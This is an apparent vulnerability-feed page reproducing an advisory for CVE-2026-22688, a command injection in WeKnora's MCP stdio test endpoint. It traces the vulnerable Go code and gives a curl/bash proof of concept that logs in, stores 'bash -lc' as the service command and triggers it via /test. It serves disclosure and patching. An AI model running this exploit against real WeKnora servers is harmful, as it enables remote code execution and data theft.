CVE-2026-22688: WeKnora has Command Injection in MCP stdio test

Published Jan 9, 2026
·
Updated

Vulnerability Description

---

Vulnerability Overview

This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdioconfig.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.

The root causes are as follows:

- Missing Security Filtering: When transporttype=stdio, there is no validation on stdioconfig.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options. - Functional Flaw (Trust Boundary Violation): The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation. - Lack of Authorization Control: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).

Vulnerable Code

1. API Route Registration (path where endpoints are created) https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390 go // 认证中间件 r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config)) // 添加OpenTelemetry追踪中间件 r.Use(middleware.TracingMiddleware()) // 需要认证的API路由 v1 := r.Group("/api/v1") { RegisterAuthRoutes(v1, params.AuthHandler) RegisterTenantRoutes(v1, params.TenantHandler) RegisterKnowledgeBaseRoutes(v1, params.KBHandler) RegisterKnowledgeTagRoutes(v1, params.TagHandler) RegisterKnowledgeRoutes(v1, params.KnowledgeHandler) RegisterFAQRoutes(v1, params.FAQHandler) RegisterChunkRoutes(v1, params.ChunkHandler) RegisterSessionRoutes(v1, params.SessionHandler) RegisterChatRoutes(v1, params.SessionHandler) RegisterMessageRoutes(v1, params.MessageHandler) RegisterModelRoutes(v1, params.ModelHandler) RegisterEvaluationRoutes(v1, params.EvaluationHandler) RegisterInitializationRoutes(v1, params.InitializationHandler) RegisterSystemRoutes(v1, params.SystemHandler) RegisterMCPServiceRoutes(v1, params.MCPServiceHandler) RegisterWebSearchRoutes(v1, params.WebSearchHandler) } go func RegisterMCPServiceRoutes(r gin.RouterGroup, handler handler.MCPServiceHandler) { mcpServices := r.Group("/mcp-services") { // Create MCP service mcpServices.POST("", handler.CreateMCPService) // List MCP services mcpServices.GET("", handler.ListMCPServices) // Get MCP service by ID mcpServices.GET("/:id", handler.GetMCPService) // Update MCP service mcpServices.PUT("/:id", handler.UpdateMCPService) // Delete MCP service mcpServices.DELETE("/:id", handler.DeleteMCPService) // Test MCP service connection mcpServices.POST("/:id/test", handler.TestMCPService) // Get MCP service tools mcpServices.GET("/:id/tools", handler.GetMCPServiceTools) // Get MCP service resources mcpServices.GET("/:id/resources", handler.GetMCPServiceResources) } 2. User input (JSON) → types.MCPService binding (POST /api/v1/mcp-services) https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcpservice.go#L40-L55 go var service types.MCPService if err := c.ShouldBindJSON(&service); err != nil { logger.Error(ctx, "Failed to parse MCP service request", err) c.Error(errors.NewBadRequestError(err.Error())) return } tenantID := c.GetUint64(types.TenantIDContextKey.String()) if tenantID == 0 { logger.Error(ctx, "Tenant ID is empty") c.Error(errors.NewBadRequestError("Tenant ID cannot be empty")) return } service.TenantID = tenantID if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil { 3. Taint propagation (storage): The bound service object is stored directly in the database without sanitization. https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcpservice.go#L23-L25 go func (r mcpServiceRepository) Create(ctx context.Context, service types.MCPService) error { return r.db.WithContext(ctx).Create(service).Error } 4. Sink execution: /test endpoint loads the service from the database → executes TestMCPService https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcpservice.go#L323-L325 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcpservice.go#L238-L264 go logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID)) result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID) go service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id) if err != nil { return nil, fmt.Errorf("failed to get MCP service: %w", err) } if service == nil { return nil, fmt.Errorf("MCP service not found") } // Create temporary client for testing config := &mcp.ClientConfig{ Service: service, } client, err := mcp.NewMCPClient(config) if err != nil { return &types.MCPTestResult{ Success: false, Message: fmt.Sprintf("Failed to create client: %v", err), }, nil } // Connect testCtx, cancel := context.WithTimeout(ctx, 30time.Second) defer cancel() if err := client.Connect(testCtx); err != nil { return &types.MCPTestResult{ 5. Ultimate sink (subprocess execution): The command/args values from stdio configuration are directly used in the subprocess execution path. https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160 go case types.MCPTransportStdio: if config.Service.StdioConfig == nil { return nil, fmt.Errorf("stdioconfig is required for stdio transport") } // Convert env vars map to []string format (KEY=value) envVars := make([]string, 0, len(config.Service.EnvVars)) for key, value := range config.Service.EnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, value)) } // Create stdio client with options // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption) mcpClient, err = client.NewStdioMCPClientWithOptions( config.Service.StdioConfig.Command, envVars, config.Service.StdioConfig.Args, ) go if err := c.client.Start(ctx); err != nil { return fmt.Errorf("failed to start client: %w", err) }

PoC

---

PoC Description - Obtain an authentication token. - Create an MCP service with transporttype=stdio, injecting the command to execute into stdioconfig.command/args. - Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).

PoC - Container state verification (pre-exploitation) bash docker exec -it WeKnora-app /bin/bash cd /tmp/; ls -l <img width="798" height="78" alt="image" src="https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209" /> - Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls. bash API="http://localhost:8080" EMAIL="admin@gmail.com" PASS="admin123" TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')" echo "TOKEN=$TOKEN" <img width="760" height="73" alt="image" src="https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497" /> <img width="1679" height="193" alt="image" src="https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a" /> - POST to /api/v1/mcp-services with transporttype=stdio and stdioconfig to define the command and arguments to be executed on the server. bash CREATERES="$(curl -sS -X POST "$API/api/v1/mcp-services" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name":"rce", "description":"rce", "enabled":true, "transporttype":"stdio", "stdioconfig":{"command":"bash","args":["-lc","id > /tmp/RCEok.txt && uname -a >> /tmp/RCEok.txt"]}, "envvars":{} }')" MCPID="$(echo "$CREATERES" | jq -r '.data.id // empty')" echo "MCPID=$MCPID" <img width="1296" height="354" alt="image" src="https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635" /> - Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess. bash curl -sS -X POST "$API/api/v1/mcp-services/$MCPID/test" \ -H "Authorization: Bearer $TOKEN" | jq . <img width="1270" height="217" alt="image" src="https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e" /> - Post-exploitation verification (container state) bash ls -l <img width="1243" height="221" alt="image" src="https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd" />

Impact

---

- Remote Code Execution (RCE): Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption - Information Disclosure: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files - Privilege Escalation/Lateral Movement (Environment-Dependent): Impact may escalate based on container mounts, network policies, and internal service access permissions - Cross-Tenant Boundary Impact: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (exact scope is uncertain and varies by deployment setup)

Other sources

WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.5, there is a command injection vulnerability that allows authenticated users to inject stdioconfig.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. This issue has been patched in version 0.2.5.

MITRE

Affected Software

3 affected componentsFixes available
WeKnora WeKnora<0.2.5
go/github.com/Tencent/WeKnora<0.2.5
0.2.5
Tencent WeKnora<0.2.5

Event History

Jan 9, 2026
Advisory Published
via GitHub·07:21 PM
Data Sourced
via GitHub·07:21 PM
DescriptionSeverityWeaknessAffected Software
Jan 10, 2026
CVE Published
via MITRE·03:41 AM
Data Sourced
via MITRE·03:41 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyAffected Software
Aug 29, 58046
Event
via FIRST·03:38 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22688?

CVE-2026-22688 has a high severity due to its command injection vulnerability allowing authenticated users to execute arbitrary commands.

2

How do I fix CVE-2026-22688?

To fix CVE-2026-22688, upgrade WeKnora to version 0.2.5 or later where the vulnerability has been patched.

3

Who is affected by CVE-2026-22688?

Authenticated users of WeKnora versions prior to 0.2.5 are affected by CVE-2026-22688.

4

What is the nature of the vulnerability in CVE-2026-22688?

The vulnerability in CVE-2026-22688 is classified as a command injection, allowing manipulation of the command and arguments in MCP stdio settings.

5

What can attackers potentially do with CVE-2026-22688?

Attackers can potentially execute arbitrary commands on the server by exploiting CVE-2026-22688 if they have authenticated access.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203